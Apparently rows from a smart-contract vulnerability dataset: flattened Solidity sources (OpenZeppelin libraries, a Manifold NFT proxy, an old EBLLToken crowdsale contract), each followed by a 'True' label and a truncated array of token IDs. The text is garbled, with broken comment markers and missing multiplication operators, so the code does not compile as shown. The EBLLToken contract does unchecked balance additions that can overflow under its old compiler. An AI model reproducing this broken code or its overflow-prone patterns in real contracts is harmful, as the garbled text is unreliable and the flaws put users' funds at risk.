amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /* * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. / abstract contract Initializable { /* * @dev Indicates that the contract has been initialized. / bool private _initialized; /* * @dev Indicates that the contract is in the process of being initialized. / bool private _initializing; /* * @dev Modifier to protect an initializer function from being invoked twice. / modifier initializer() { require(_initializing \|\| _isConstructor() \|\| !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library AddressUpgradeable { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Honey-Badger2022 /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////// // // // // // The blue man in the blue hat with the blue jeans was nicked named blue. // // // // Pencil crayons don’t taste too good. // // // // Percy pig is a legend. // // // // 8916891689168916 // // // // SKWK LBOF SKWK PPP // // // // Big Kev always straight lines the final. // // // // // /////////////////////////////////////////////////////////////////////////////////// contract HB2022 is ERC721Creator { constructor() ERC721Creator("Honey-Badger2022", "HB2022") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. / bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /* * @dev Returns the current implementation address. / function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /* * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. / abstract contract Proxy { /* * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. / function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /* * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. / function _implementation() internal view virtual returns (address); /* * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. / function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. / fallback() external payable virtual { _fallback(); } /* * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. / receive() external payable virtual { _fallback(); } /* * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. / function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /* * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ / library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /* * @dev Returns an `AddressSlot` with member `value` located at `slot`. / function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `BooleanSlot` with member `value` located at `slot`. / function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. / function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 6861, 1011, 24186, 11387, 19317, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 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pragma solidity ^0.4.24; contract IMigrationContract { function migrate(address addr, uint256 nas) returns (bool success); } /* coin/ contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x y; assert((x == 0)\|\|(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* ERC 20 token / contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract EBLLToken is StandardToken, SafeMath { // metadata string public constant name = "易宝链"; string public constant symbol = "EBL"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 5963; // 5963 EBL 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value 10 ** decimals; } // constructor function EBLLToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(1600000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token（或者更新token） function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到EBLToken团队 function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将EBL token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }	True	[ 101, 10975, 8490, 2863, 5024, 